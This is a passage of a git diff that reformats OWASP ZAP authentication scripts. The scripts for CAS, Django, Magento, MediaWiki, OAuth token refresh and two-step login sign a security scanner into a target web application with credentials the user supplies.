request.setRequestHeader(new HttpRequestHeader(HttpRequestHeader.GET, new URI(protectedPages[index], false), HttpHeader.HTTP10)); - helper.sendAndReceive(request, true); - } - - print("---- CAS authentication script has finished ----\n"); - return post; + print("---- CAS authentication script has started ----"); + + var loginUri = new URI(paramsValues.get("loginUrl"), false); + + // Perform a GET request to the login page to get the values generated by CAS on the response (login ticket, event id, etc) + var get = helper.prepareMessage(); + get.setRequestHeader( + new HttpRequestHeader(HttpRequestHeader.GET, loginUri, HttpHeader.HTTP10) + ); + helper.sendAndReceive(get); + var casInputValues = getCASInputValues(get.getResponseBody().toString()); + + // Build the request body using the credentials values and the CAS values obtained from the first request + var requestBody = + "username=" + encodeURIComponent(credentials.getParam("username")); + requestBody += + "&password=" + encodeURIComponent(credentials.getParam("password")); + requestBody += "<=" + encodeURIComponent(casInputValues["lt"]); + requestBody += + "&execution=" + encodeURIComponent(casInputValues["execution"]); + requestBody += "&_eventId=" + encodeURIComponent(casInputValues["_eventId"]); + + // Add any extra post data provided + var extraPostData = paramsValues.get("extraPostData"); + if (extraPostData != null && !extraPostData.trim().isEmpty()) { + requestBody += "&" + extraPostData.trim(); + } + + // Perform a POST request to authenticate + print( + "POST request body built for the authentication:\n " + + requestBody.replaceAll("&", "\n ") + ); + var post = helper.prepareMessage(); + post.setRequestHeader( + new HttpRequestHeader(HttpRequestHeader.POST, loginUri, HttpHeader.HTTP10) + ); + post.setRequestBody(requestBody); + post.getRequestHeader().setContentLength(post.getRequestBody().length()); + helper.sendAndReceive(post); + + /* + * At this point we are authenticated, but we are not done yet :( + * + * We have authenticated on the CAS server (let's say http://mydomain/cas-server), so when we access + * the app (i.e. http://mydomain/my-app) for the first time, we will be redirected to the CAS server. + * Since we are authenticated, the CAS server will redirect us back to the app: + * + * http://your.domain/your-app -> http://your.domain/cas-server -> http://your.domain/your-app + * + * ZAP's Spider doesn't follow redirects immediately so if the Spider access the app, it will get a + * redirect response and the page will never really be spidered. However, this redirect happens only + * at the first time we access the app after the authentication, so we could just access the app once + * before ZAP's Spider starts. + * + * This script has another parameter that should hold at least one protected page for each app that + * might be analyzed to do a simple GET for each page, ensuring no redirects will happen during our + * analysis. + */ + + // Get the protected pages + var protectedPagesSeparatedByComma = paramsValues.get("protectedPages"); + var protectedPages = protectedPagesSeparatedByComma.split(","); + + // Perform a GET request on the protected pages to avoid redirects during the scan + for (var index in protectedPages) { + var request = helper.prepareMessage(); + request.setRequestHeader( + new HttpRequestHeader( + HttpRequestHeader.GET, + new URI(protectedPages[index], false), + HttpHeader.HTTP10 + ) + ); + helper.sendAndReceive(request, true); + } + + print("---- CAS authentication script has finished ----\n"); + return post; } -function getCASInputValues(response){ - var result = {}; - - var regex = " 0) { secondRequestBody += "&" + extraPostData.trim(); - }; + } // Build header. var secondRequestURI = new URI(targetURL, false); var secondRequestMethod = HttpRequestHeader.POST; - var secondRequestMainHeader = new HttpRequestHeader(secondRequestMethod, secondRequestURI, HttpHeader.HTTP11); + var secondRequestMainHeader = new HttpRequestHeader( + secondRequestMethod, + secondRequestURI, + HttpHeader.HTTP11 + ); // Build message. var secondMsg = helper.prepareMessage(); secondMsg.setRequestBody(secondRequestBody); secondMsg.setRequestHeader(secondRequestMainHeader); - secondMsg.getRequestHeader().setContentLength(secondMsg.getRequestBody().length()); - secondMsg.getRequestHeader().setHeader(HttpHeader.REFERER, targetURL); // Required by Django for HTTPS connections. + secondMsg + .getRequestHeader() + .setContentLength(secondMsg.getRequestBody().length()); + secondMsg.getRequestHeader().setHeader(HttpHeader.REFERER, targetURL); // Required by Django for HTTPS connections. // Send message. helper.sendAndReceive(secondMsg, false); @@ -84,12 +109,17 @@ function authenticate(helper, paramsValues, credentials) { AuthenticationHelper.addAuthMessageToHistory(secondMsg); // Build the URL to redirect to. - var redirectURL = baseURL + secondMsg.getResponseHeader().getHeader('Location'); + var redirectURL = + baseURL + secondMsg.getResponseHeader().getHeader("Location"); // Build message. var thirdRequestURI = new URI(redirectURL, false); var thirdRequestMethod = HttpRequestHeader.GET; - var thirdRequestMainHeader = new HttpRequestHeader(thirdRequestMethod, thirdRequestURI, HttpHeader.HTTP11); + var thirdRequestMainHeader = new HttpRequestHeader( + thirdRequestMethod, + thirdRequestURI, + HttpHeader.HTTP11 + ); var thirdMsg = helper.prepareMessage(); thirdMsg.setRequestHeader(thirdRequestMainHeader); @@ -102,17 +132,14 @@ function authenticate(helper, paramsValues, credentials) { } } - function getRequiredParamsNames() { return ["Target URL", "Username field", "Password field"]; } - function getOptionalParamsNames() { return ["Extra POST data"]; } - function getCredentialsParamsNames() { return ["Username", "Password"]; } diff --git a/authentication/GetsWithRedirectThenPost.js b/authentication/GetsWithRedirectThenPost.js index e1decdd3..9ddf7286 100644 --- a/authentication/GetsWithRedirectThenPost.js +++ b/authentication/GetsWithRedirectThenPost.js @@ -5,13 +5,17 @@ // Detailed usage tutorial and a php back-end can be found at https://github.com/ptrovatelli/ZAP-authentication-script-tutorial-GetsWithRedirectsThenPost // Make sure any Java classes used explicitly are imported -var HttpRequestHeader = Java.type('org.parosproxy.paros.network.HttpRequestHeader'); -var HttpHeader = Java.type('org.parosproxy.paros.network.HttpHeader'); -var URI = Java.type('org.apache.commons.httpclient.URI'); -var AuthenticationHelper = Java.type('org.zaproxy.zap.authentication.AuthenticationHelper'); +var HttpRequestHeader = Java.type( + "org.parosproxy.paros.network.HttpRequestHeader" +); +var HttpHeader = Java.type("org.parosproxy.paros.network.HttpHeader"); +var URI = Java.type("org.apache.commons.httpclient.URI"); +var AuthenticationHelper = Java.type( + "org.zaproxy.zap.authentication.AuthenticationHelper" +); // the maximum number of redirects we will follow (avoid infinite loops) -var MAX_REDIRECTS=100 +var MAX_REDIRECTS = 100; // ------------------------------------ // Parameters @@ -23,136 +27,194 @@ var MAX_REDIRECTS=100 // The credential values can be obtained via calls to the getParam(paramName) method. The param // names are the ones returned by the getCredentialsParamsNames() below function authenticate(helper, paramsValues, credentials) { - doLog("Authenticating via JavaScript script..."); - var host = paramsValues.get("Hostname without trailing slash") - var firstGet = paramsValues.get("First get URI with leading slash, without trailing slash") - - // GET with redirects - var msg = doGet(host + firstGet, helper); - var statusCode = msg.getResponseHeader().getStatusCode(); - var nbRedirectsFollowed = 0; - while (statusCode == 301 || statusCode == 302 || statusCode == 303 || statusCode == 307 || statusCode == 308) { - if(nbRedirectsFollowed >= MAX_REDIRECTS){ - doLog("ERROR: Too many redirects. Stopped following redirects"); - break; - } - // Add the request/response to ZAP history tab - AuthenticationHelper.addAuthMessageToHistory(msg); - // put host before in case of redirect with URI - var redirectUrl = host + msg.getResponseHeader().getHeader('Location'); - doLog("Redirecting to: " + redirectUrl); - msg = doGet(redirectUrl, helper); - statusCode = msg.getResponseHeader().getStatusCode(); - nbRedirectsFollowed++; + doLog("Authenticating via JavaScript script..."); + var host = paramsValues.get("Hostname without trailing slash"); + var firstGet = paramsValues.get( + "First get URI with leading slash, without trailing slash" + ); + + // GET with redirects + var msg = doGet(host + firstGet, helper); + var statusCode = msg.getResponseHeader().getStatusCode(); + var nbRedirectsFollowed = 0; + while ( + statusCode == 301 || + statusCode == 302 || + statusCode == 303 || + statusCode == 307 || + statusCode == 308 + ) { + if (nbRedirectsFollowed >= MAX_REDIRECTS) { + doLog("ERROR: Too many redirects. Stopped following redirects"); + break; } - - // Add last get to ZAP history + // Add the request/response to ZAP history tab AuthenticationHelper.addAuthMessageToHistory(msg); - - // Post the authentication - msg = doPost(helper, paramsValues, credentials); - return msg; + // put host before in case of redirect with URI + var redirectUrl = host + msg.getResponseHeader().getHeader("Location"); + doLog("Redirecting to: " + redirectUrl); + msg = doGet(redirectUrl, helper); + statusCode = msg.getResponseHeader().getStatusCode(); + nbRedirectsFollowed++; + } + + // Add last get to ZAP history + AuthenticationHelper.addAuthMessageToHistory(msg); + + // Post the authentication + msg = doPost(helper, paramsValues, credentials); + return msg; } function doGet(url, helper) { - //decode URI. Useful when there are encoded parameters in the URI - var requestUri = new URI(decodeURIComponent(url), false); - var requestMethod = HttpRequestHeader.GET; - - // Build the GET request header - var requestHeader = new HttpRequestHeader(requestMethod, requestUri, HttpHeader.HTTP11); - - // Build the GET request message - var msg = helper.prepareMessage(); - - msg.setRequestHeader(requestHeader); - msg.getRequestHeader().setContentLength(msg.getRequestBody().length()); - - // Send the GET request message - doLog("Sending " + requestMethod + " request to " + requestUri); - // sendAndReceive without following redirects - // this allows us to manually add the redirect request/responses in ZAP history, making it much easier to understand what is going on. - // With followRedirect=true, all request/responses and their cookies are aggregated in a single line in ZAP history tab. - helper.sendAndReceive(msg, false); - doLog("Received response status code: " + msg.getResponseHeader().getStatusCode()); - return msg; + //decode URI. Useful when there are encoded parameters in the URI + var requestUri = new URI(decodeURIComponent(url), false); + var requestMethod = HttpRequestHeader.GET; + + // Build the GET request header + var requestHeader = new HttpRequestHeader( + requestMethod, + requestUri, + HttpHeader.HTTP11 + ); + + // Build the GET request message + var msg = helper.prepareMessage(); + + msg.setRequestHeader(requestHeader); + msg.getRequestHeader().setContentLength(msg.getRequestBody().length()); + + // Send the GET request message + doLog("Sending " + requestMethod + " request to " + requestUri); + // sendAndReceive without following redirects + // this allows us to manually add the redirect request/responses in ZAP history, making it much easier to understand what is going on. + // With followRedirect=true, all request/responses and their cookies are aggregated in a single line in ZAP history tab. + helper.sendAndReceive(msg, false); + doLog( + "Received response status code: " + msg.getResponseHeader().getStatusCode() + ); + return msg; } function doPost(helper, paramsValues, credentials) { - // Prepare the login submission request details - var requestUri = new URI(paramsValues.get("Submission Form URL"), false); - var requestMethod = HttpRequestHeader.POST; - - // Build the submission request body using the credential values - var requestBody = paramsValues.get("Username field") + "=" + encodeURIComponent(credentials.getParam("usernameField")); - requestBody += "&" + paramsValues.get("Password field") + "=" + encodeURIComponent(credentials.getParam("passwordField")); - - // Build the submission request header - var requestHeader = new HttpRequestHeader(requestMethod, requestUri, HttpHeader.HTTP11); - - // Build the submission request message - var msg = helper.prepareMessage(); - msg.setRequestHeader(requestHeader); - msg.setRequestBody(requestBody); - msg.getRequestHeader().setContentLength(msg.getRequestBody().length()); - - // Send the submission request message - doLog("Sending " + requestMethod + " request to " + requestUri + " with body: " + requestBody); - // In case of redirect on the POST with the cookie not being set into the state, see TwoStepAuthentication.js - helper.sendAndReceive(msg, true); - doLog("Received response status code: " + msg.getResponseHeader().getStatusCode()); - return msg; + // Prepare the login submission request details + var requestUri = new URI(paramsValues.get("Submission Form URL"), false); + var requestMethod = HttpRequestHeader.POST; + + // Build the submission request body using the credential values + var requestBody = + paramsValues.get("Username field") + + "=" + + encodeURIComponent(credentials.getParam("usernameField")); + requestBody += + "&" + + paramsValues.get("Password field") + + "=" + + encodeURIComponent(credentials.getParam("passwordField")); + + // Build the submission request header + var requestHeader = new HttpRequestHeader( + requestMethod, + requestUri, + HttpHeader.HTTP11 + ); + + // Build the submission request message + var msg = helper.prepareMessage(); + msg.setRequestHeader(requestHeader); + msg.setRequestBody(requestBody); + msg.getRequestHeader().setContentLength(msg.getRequestBody().length()); + + // Send the submission request message + doLog( + "Sending " + + requestMethod + + " request to " + + requestUri + + " with body: " + + requestBody + ); + // In case of redirect on the POST with the cookie not being set into the state, see TwoStepAuthentication.js + helper.sendAndReceive(msg, true); + doLog( + "Received response status code: " + msg.getResponseHeader().getStatusCode() + ); + return msg; } // This function is called during the script loading to obtain a list of the names of the required configuration parameters, // that will be shown in the Session Properties - Authentication panel for configuration. They can be used // to input dynamic data into the script, from the user interface (e.g. a login URL, name of POST parameters etc.) function getRequiredParamsNames() { - return [ - "Submission Form URL", // The url to POST to - "Username field", - "Password field", - "First get URI with leading slash, without trailing slash" // Example: /test/get1.php - ]; + return [ + "Submission Form URL", // The url to POST to + "Username field", + "Password field", + "First get URI with leading slash, without trailing slash", // Example: /test/get1.php + ]; } // This function is called during the script loading to obtain a list of the names of the optional configuration parameters, // that will be shown in the Session Properties - Authentication panel for configuration. They can be used // to input dynamic data into the script, from the user interface (e.g. a login URL, name of POST parameters etc.) function getOptionalParamsNames() { - return [ - "Hostname without trailing slash" // Example: https://myhostname.com. Useful when redirect target doesn't include the host but just an URI. - ]; + return [ + "Hostname without trailing slash", // Example: https://myhostname.com. Useful when redirect target doesn't include the host but just an URI. + ]; } // This function is called during the script loading to obtain a list of the names of the parameters that are required, // as credentials, for each User configured corresponding to an Authentication using this script function getCredentialsParamsNames() { - return ["usernameField", "passwordField"]; + return ["usernameField", "passwordField"]; } // For debugging purposes function listRequestCookies(msg) { - var cookies = msg.getRequestHeader().getHttpCookies() // This is a List - var iterator = cookies.iterator() - while (iterator.hasNext()) { - var cookie = iterator.next() // This is a HttpCookie - doLog(cookie.name + ":" + cookie.value); - } + var cookies = msg.getRequestHeader().getHttpCookies(); // This is a List + var iterator = cookies.iterator(); + while (iterator.hasNext()) { + var cookie = iterator.next(); // This is a HttpCookie + doLog(cookie.name + ":" + cookie.value); + } } function getNow() { - var objToday = new Date(), - curYear = objToday.getFullYear(), - curMonth = objToday.getMonth() < 10 ? "0" + objToday.getMonth() : objToday.getMonth(), - dayOfMonth = (objToday.getDate() < 10) ? '0' + objToday.getDate() : objToday.getDate(), - curHour = objToday.getHours() < 10 ? "0" + objToday.getHours() : objToday.getHours(), - curMinute = objToday.getMinutes() < 10 ? "0" + objToday.getMinutes() : objToday.getMinutes(), - curSeconds = objToday.getSeconds() < 10 ? "0" + objToday.getSeconds() : objToday.getSeconds(), - today = curYear + '.' + curMonth + '.' + dayOfMonth + "_" + curHour + ":" + curMinute + ":" + curSeconds - return today; + var objToday = new Date(), + curYear = objToday.getFullYear(), + curMonth = + objToday.getMonth() < 10 + ? "0" + objToday.getMonth() + : objToday.getMonth(), + dayOfMonth = + objToday.getDate() < 10 ? "0" + objToday.getDate() : objToday.getDate(), + curHour = + objToday.getHours() < 10 + ? "0" + objToday.getHours() + : objToday.getHours(), + curMinute = + objToday.getMinutes() < 10 + ? "0" + objToday.getMinutes() + : objToday.getMinutes(), + curSeconds = + objToday.getSeconds() < 10 + ? "0" + objToday.getSeconds() + : objToday.getSeconds(), + today = + curYear + + "." + + curMonth + + "." + + dayOfMonth + + "_" + + curHour + + ":" + + curMinute + + ":" + + curSeconds; + return today; } function doLog(text) { - print(getNow() + " authent: " + text); + print(getNow() + " authent: " + text); } diff --git a/authentication/MagentoAuthentication.js b/authentication/MagentoAuthentication.js index 188df040..586a8644 100644 --- a/authentication/MagentoAuthentication.js +++ b/authentication/MagentoAuthentication.js @@ -12,67 +12,79 @@ */ // Imports -var HttpRequestHeader = Java.type("org.parosproxy.paros.network.HttpRequestHeader"); +var HttpRequestHeader = Java.type( + "org.parosproxy.paros.network.HttpRequestHeader" +); var HttpHeader = Java.type("org.parosproxy.paros.network.HttpHeader"); var URI = Java.type("org.apache.commons.httpclient.URI"); var Pattern = Java.type("java.util.regex.Pattern"); var debugMode = false; -function getRequiredParamsNames(){ - return ["loginUrl"]; +function getRequiredParamsNames() { + return ["loginUrl"]; } -function getOptionalParamsNames(){ - return ["extraPostData"]; +function getOptionalParamsNames() { + return ["extraPostData"]; } -function getCredentialsParamsNames(){ - return ["username", "password"]; +function getCredentialsParamsNames() { + return ["username", "password"]; } function authenticate(helper, paramsValues, credentials) { - debugMode && print("---- Magento authentication script has started ----"); - - var loginUri = new URI(paramsValues.get("loginUrl"), false); - - // Perform a GET request to the login page to get the form_key - var get = helper.prepareMessage(); - get.setRequestHeader(new HttpRequestHeader(HttpRequestHeader.GET, loginUri, HttpHeader.HTTP10)); - helper.sendAndReceive(get); - var formParameters = parseFormParameters(get.getResponseBody().toString()); - - // Build the request body using the credentials values and the form_key - var requestBody = "login[username]=" + encodeURIComponent(credentials.getParam("username")); - requestBody += "&login[password]=" + encodeURIComponent(credentials.getParam("password")); - requestBody += "&form_key=" + encodeURIComponent(formParameters["form_key"]); + debugMode && print("---- Magento authentication script has started ----"); - // Add any extra post data provided - var extraPostData = paramsValues.get("extraPostData"); - if (extraPostData !== null && !extraPostData.trim().isEmpty()) { - requestBody += "&" + extraPostData.trim(); - } - - // Perform a POST request to authenticate - debugMode && print("POST request body built for the authentication:\n " + requestBody.replaceAll("&", "\n ")); - var post = helper.prepareMessage(); - post.setRequestHeader(new HttpRequestHeader(HttpRequestHeader.POST, loginUri, HttpHeader.HTTP10)); - post.setRequestBody(requestBody); - post.getRequestHeader().setContentLength(post.getRequestBody().length()); - helper.sendAndReceive(post); + var loginUri = new URI(paramsValues.get("loginUrl"), false); - debugMode && print("---- Magento authentication script has finished ----\n"); - return post; + // Perform a GET request to the login page to get the form_key + var get = helper.prepareMessage(); + get.setRequestHeader( + new HttpRequestHeader(HttpRequestHeader.GET, loginUri, HttpHeader.HTTP10) + ); + helper.sendAndReceive(get); + var formParameters = parseFormParameters(get.getResponseBody().toString()); + + // Build the request body using the credentials values and the form_key + var requestBody = + "login[username]=" + encodeURIComponent(credentials.getParam("username")); + requestBody += + "&login[password]=" + encodeURIComponent(credentials.getParam("password")); + requestBody += "&form_key=" + encodeURIComponent(formParameters["form_key"]); + + // Add any extra post data provided + var extraPostData = paramsValues.get("extraPostData"); + if (extraPostData !== null && !extraPostData.trim().isEmpty()) { + requestBody += "&" + extraPostData.trim(); + } + + // Perform a POST request to authenticate + debugMode && + print( + "POST request body built for the authentication:\n " + + requestBody.replaceAll("&", "\n ") + ); + var post = helper.prepareMessage(); + post.setRequestHeader( + new HttpRequestHeader(HttpRequestHeader.POST, loginUri, HttpHeader.HTTP10) + ); + post.setRequestBody(requestBody); + post.getRequestHeader().setContentLength(post.getRequestBody().length()); + helper.sendAndReceive(post); + + debugMode && print("---- Magento authentication script has finished ----\n"); + return post; } -function parseFormParameters(response){ - var result = {}; - - var regex = " -1 ? '&' : '?') + 'action=submitlogin&type=login', - HttpRequestHeader.POST, - requestBody - ); - - return response; - }, - - getLoginToken: function () { - var response = this.doRequest(this.loginUrl, HttpRequestHeader.GET), - loginToken = this.getLoginTokenFromForm(response, 'wpLoginToken'); - - return loginToken; - }, - - doRequest: function (url, requestMethod, requestBody) { - var msg, - requestInfo, - requestUri = new URI(url, false), - requestHeader = new HttpRequestHeader(requestMethod, requestUri, HttpHeader.HTTP10); - - requestInfo = 'Sending ' + requestMethod + ' request to ' + requestUri; - msg = this.helper.prepareMessage(); - msg.setRequestHeader(requestHeader); - - if (requestBody) { - requestInfo += ' with body: ' + requestBody; - msg.setRequestBody(requestBody); - } - msg.getRequestHeader().setContentLength(msg.getRequestBody().length()); - - print(requestInfo); - this.helper.sendAndReceive(msg); - print("Received response status code for authentication request: " + msg.getResponseHeader().getStatusCode()); - - return msg; - }, - - getLoginTokenFromForm: function (request, loginTokenName) { - var iterator, element, loginToken, - pageSource = request.getResponseHeader().toString() + request.getResponseBody().toString(), - src = new Source(pageSource), - elements = src.getAllElements('input'); - - for (iterator = elements.iterator(); iterator.hasNext();) { - element = iterator.next(); - if (element.getAttributeValue('name') == 'wpLoginToken') { - loginToken = element.getAttributeValue('value'); - break; - } - } - - return loginToken; - } + doLogin: function (loginToken) { + var requestBody = + "wpName=" + + encodeURIComponent(this.userName) + + "&wpPassword=" + + encodeURIComponent(this.password) + + "&wpLoginToken=" + + encodeURIComponent(loginToken), + response = this.doRequest( + this.loginUrl + + (this.loginUrl.indexOf("?") > -1 ? "&" : "?") + + "action=submitlogin&type=login", + HttpRequestHeader.POST, + requestBody + ); + + return response; + }, + + getLoginToken: function () { + var response = this.doRequest(this.loginUrl, HttpRequestHeader.GET), + loginToken = this.getLoginTokenFromForm(response, "wpLoginToken"); + + return loginToken; + }, + + doRequest: function (url, requestMethod, requestBody) { + var msg, + requestInfo, + requestUri = new URI(url, false), + requestHeader = new HttpRequestHeader( + requestMethod, + requestUri, + HttpHeader.HTTP10 + ); + + requestInfo = "Sending " + requestMethod + " request to " + requestUri; + msg = this.helper.prepareMessage(); + msg.setRequestHeader(requestHeader); + + if (requestBody) { + requestInfo += " with body: " + requestBody; + msg.setRequestBody(requestBody); + } + msg.getRequestHeader().setContentLength(msg.getRequestBody().length()); + + print(requestInfo); + this.helper.sendAndReceive(msg); + print( + "Received response status code for authentication request: " + + msg.getResponseHeader().getStatusCode() + ); + + return msg; + }, + + getLoginTokenFromForm: function (request, loginTokenName) { + var iterator, + element, + loginToken, + pageSource = + request.getResponseHeader().toString() + + request.getResponseBody().toString(), + src = new Source(pageSource), + elements = src.getAllElements("input"); + + for (iterator = elements.iterator(); iterator.hasNext(); ) { + element = iterator.next(); + if (element.getAttributeValue("name") == "wpLoginToken") { + loginToken = element.getAttributeValue("value"); + break; + } + } + + return loginToken; + }, }; diff --git a/authentication/OfflineTokenRefresh.js b/authentication/OfflineTokenRefresh.js index 2ea5a84a..f4d92135 100644 --- a/authentication/OfflineTokenRefresh.js +++ b/authentication/OfflineTokenRefresh.js @@ -1,43 +1,49 @@ /* -* This script is intended to be used along with httpsender/AddBearerTokenHeader.js to -* handle an OAUTH2 offline token refresh workflow. -* -* authentication/OfflineTokenRefresher.js will automatically fetch the new access token for every unauthorized -* request determined by the "Logged Out" or "Logged In" indicator previously set in Context -> Authentication. -* -* httpsender/AddBearerTokenHeader.js will add the new access token to all requests in scope -* made by ZAP (except the authentication ones) as an "Authorization: Bearer [access_token]" HTTP Header. -* -* @author Laura Pardo -*/ - -var HttpRequestHeader = Java.type("org.parosproxy.paros.network.HttpRequestHeader"); + * This script is intended to be used along with httpsender/AddBearerTokenHeader.js to + * handle an OAUTH2 offline token refresh workflow. + * + * authentication/OfflineTokenRefresher.js will automatically fetch the new access token for every unauthorized + * request determined by the "Logged Out" or "Logged In" indicator previously set in Context -> Authentication. + * + * httpsender/AddBearerTokenHeader.js will add the new access token to all requests in scope + * made by ZAP (except the authentication ones) as an "Authorization: Bearer [access_token]" HTTP Header. + * + * @author Laura Pardo + */ + +var HttpRequestHeader = Java.type( + "org.parosproxy.paros.network.HttpRequestHeader" +); var HttpHeader = Java.type("org.parosproxy.paros.network.HttpHeader"); var URI = Java.type("org.apache.commons.httpclient.URI"); -var ScriptVars = Java.type('org.zaproxy.zap.extension.script.ScriptVars'); - +var ScriptVars = Java.type("org.zaproxy.zap.extension.script.ScriptVars"); function authenticate(helper, paramsValues, credentials) { - var token_endpoint = paramsValues.get("token_endpoint"); var client_id = paramsValues.get("client_id"); var refresh_token = credentials.getParam("refresh_token"); // Build body var refreshTokenBody = "client_id=" + client_id; - refreshTokenBody+= "&grant_type=refresh_token"; - refreshTokenBody+= "&refresh_token=" + refresh_token; + refreshTokenBody += "&grant_type=refresh_token"; + refreshTokenBody += "&refresh_token=" + refresh_token; // Build header var tokenRequestURI = new URI(token_endpoint, false); var tokenRequestMethod = HttpRequestHeader.POST; - var tokenRequestMainHeader = new HttpRequestHeader(tokenRequestMethod, tokenRequestURI, HttpHeader.HTTP11); + var tokenRequestMainHeader = new HttpRequestHeader( + tokenRequestMethod, + tokenRequestURI, + HttpHeader.HTTP11 + ); // Build message var tokenMsg = helper.prepareMessage(); tokenMsg.setRequestBody(refreshTokenBody); tokenMsg.setRequestHeader(tokenRequestMainHeader); - tokenMsg.getRequestHeader().setContentLength(tokenMsg.getRequestBody().length()); + tokenMsg + .getRequestHeader() + .setContentLength(tokenMsg.getRequestBody().length()); // Make the request and receive the response helper.sendAndReceive(tokenMsg, false); @@ -45,28 +51,25 @@ function authenticate(helper, paramsValues, credentials) { // Parse the JSON response and save the new access_token in a global var // we will replace the Authentication header in AddBearerTokenHeader.js var json = JSON.parse(tokenMsg.getResponseBody().toString()); - var access_token = json['access_token']; + var access_token = json["access_token"]; - if (access_token){ + if (access_token) { ScriptVars.setGlobalVar("access_token", access_token); - }else{ - print("Error getting access token") + } else { + print("Error getting access token"); } return tokenMsg; } - -function getRequiredParamsNames(){ +function getRequiredParamsNames() { return ["token_endpoint", "client_id"]; } - -function getOptionalParamsNames(){ +function getOptionalParamsNames() { return []; } - -function getCredentialsParamsNames(){ +function getCredentialsParamsNames() { return ["access_token", "refresh_token"]; } diff --git a/authentication/TwoStepAuthentication.js b/authentication/TwoStepAuthentication.js index 4013f11d..1aff118a 100644 --- a/authentication/TwoStepAuthentication.js +++ b/authentication/TwoStepAuthentication.js @@ -13,7 +13,6 @@ // // NOTE: Any message sent in the function should be obtained using the 'helper.prepareMessage()' method. - // Parameters: // helper - a helper class providing useful methods: prepareMessage(), sendAndReceive(msg) // paramsValues - the values of the parameters configured in the Session Properties - Authentication panel. @@ -24,40 +23,64 @@ // names are the ones returned by the getCredentialsParamsNames() below // Make sure any Java classes used explicitly are imported -var HttpRequestHeader = Java.type('org.parosproxy.paros.network.HttpRequestHeader'); -var HttpHeader = Java.type('org.parosproxy.paros.network.HttpHeader'); -var URI = Java.type('org.apache.commons.httpclient.URI'); -var AuthenticationHelper = Java.type('org.zaproxy.zap.authentication.AuthenticationHelper'); -var Cookie = Java.type('org.apache.commons.httpclient.Cookie'); +var HttpRequestHeader = Java.type( + "org.parosproxy.paros.network.HttpRequestHeader" +); +var HttpHeader = Java.type("org.parosproxy.paros.network.HttpHeader"); +var URI = Java.type("org.apache.commons.httpclient.URI"); +var AuthenticationHelper = Java.type( + "org.zaproxy.zap.authentication.AuthenticationHelper" +); +var Cookie = Java.type("org.apache.commons.httpclient.Cookie"); function authenticate(helper, paramsValues, credentials) { - print("Authenticating via JavaScript script..."); - - // Prepare the login submission request details - var requestUri = new URI(paramsValues.get("Submission Form URL"), false); - var requestMethod = HttpRequestHeader.POST; - - // Build the submission request body using the credential values - var requestBody = paramsValues.get("Username field") + "=" + encodeURIComponent(credentials.getParam("Username")); - requestBody += "&" + paramsValues.get("Password field") + "=" + encodeURIComponent(credentials.getParam("Password")); - - // Build the submission request header - var requestHeader = new HttpRequestHeader(requestMethod, requestUri, HttpHeader.HTTP11); - - // Build the submission request message - var msg = helper.prepareMessage(); - msg.setRequestHeader(requestHeader); - msg.setRequestBody(requestBody); - msg.getRequestHeader().setContentLength(msg.getRequestBody().length()); - - // Send the submission request message - print("Sending " + requestMethod + " request to " + requestUri + " with body: " + requestBody); - helper.sendAndReceive(msg, false); // don't follow redirects in order to set correctly the cookie - print("Received response status code: " + msg.getResponseHeader().getStatusCode()); - AuthenticationHelper.addAuthMessageToHistory(msg); - - // Retrieve session cookies in the Set-Cookie header, this can be used in case cookies are not set correctly - /*var cookies = msg.getResponseHeader().getHttpCookies(""); + print("Authenticating via JavaScript script..."); + + // Prepare the login submission request details + var requestUri = new URI(paramsValues.get("Submission Form URL"), false); + var requestMethod = HttpRequestHeader.POST; + + // Build the submission request body using the credential values + var requestBody = + paramsValues.get("Username field") + + "=" + + encodeURIComponent(credentials.getParam("Username")); + requestBody += + "&" + + paramsValues.get("Password field") + + "=" + + encodeURIComponent(credentials.getParam("Password")); + + // Build the submission request header + var requestHeader = new HttpRequestHeader( + requestMethod, + requestUri, + HttpHeader.HTTP11 + ); + + // Build the submission request message + var msg = helper.prepareMessage(); + msg.setRequestHeader(requestHeader); + msg.setRequestBody(requestBody); + msg.getRequestHeader().setContentLength(msg.getRequestBody().length()); + + // Send the submission request message + print( + "Sending " + + requestMethod + + " request to " + + requestUri + + " with body: " + + requestBody + ); + helper.sendAndReceive(msg, false); // don't follow redirects in order to set correctly the cookie + print( + "Received response status code: " + msg.getResponseHeader().getStatusCode() + ); + AuthenticationHelper.addAuthMessageToHistory(msg); + + // Retrieve session cookies in the Set-Cookie header, this can be used in case cookies are not set correctly + /*var cookies = msg.getResponseHeader().getHttpCookies(""); var state = helper.getCorrespondingHttpState(); for (var iterator = cookies.iterator(); iterator.hasNext();) { var cookie = iterator.next(); @@ -68,42 +91,53 @@ function authenticate(helper, paramsValues, credentials) { requestHeader.setHeader(HttpHeader.COOKIE, "SESSIONID=" + cookieValue); }*/ - // Build the GET request details - requestUri = new URI(paramsValues.get("Target URL"), false); - requestMethod = HttpRequestHeader.GET; - - // Build the GET request header - requestHeader = new HttpRequestHeader(requestMethod, requestUri, HttpHeader.HTTP11); - - // Build the GET request message - msg = helper.prepareMessage(); - msg.setRequestHeader(requestHeader); - msg.getRequestHeader().setContentLength(msg.getRequestBody().length()); - - // Send the GET request message - print("Sending " + requestMethod + " request to " + requestUri); - helper.sendAndReceive(msg, true); - print("Received response status code: " + msg.getResponseHeader().getStatusCode()); - - return msg; + // Build the GET request details + requestUri = new URI(paramsValues.get("Target URL"), false); + requestMethod = HttpRequestHeader.GET; + + // Build the GET request header + requestHeader = new HttpRequestHeader( + requestMethod, + requestUri, + HttpHeader.HTTP11 + ); + + // Build the GET request message + msg = helper.prepareMessage(); + msg.setRequestHeader(requestHeader); + msg.getRequestHeader().setContentLength(msg.getRequestBody().length()); + + // Send the GET request message + print("Sending " + requestMethod + " request to " + requestUri); + helper.sendAndReceive(msg, true); + print( + "Received response status code: " + msg.getResponseHeader().getStatusCode() + ); + + return msg; } // This function is called during the script loading to obtain a list of the names of the required configuration parameters, // that will be shown in the Session Properties - Authentication panel for configuration. They can be used // to input dynamic data into the script, from the user interface (e.g. a login URL, name of POST parameters etc.) -function getRequiredParamsNames(){ - return ["Submission Form URL", "Username field", "Password field", "Target URL"]; +function getRequiredParamsNames() { + return [ + "Submission Form URL", + "Username field", + "Password field", + "Target URL", + ]; } // This function is called during the script loading to obtain a list of the names of the optional configuration parameters, // that will be shown in the Session Properties - Authentication panel for configuration. They can be used // to input dynamic data into the script, from the user interface (e.g. a login URL, name of POST parameters etc.) -function getOptionalParamsNames(){ - return []; +function getOptionalParamsNames() { + return []; } // This function is called during the script loading to obtain a list of the names of the parameters that are required, // as credentials, for each User configured corresponding to an Authentication using this script -function getCredentialsParamsNames(){ - return ["Username", "Password"]; +function getCredentialsParamsNames() { + return ["Username", "Password"]; } 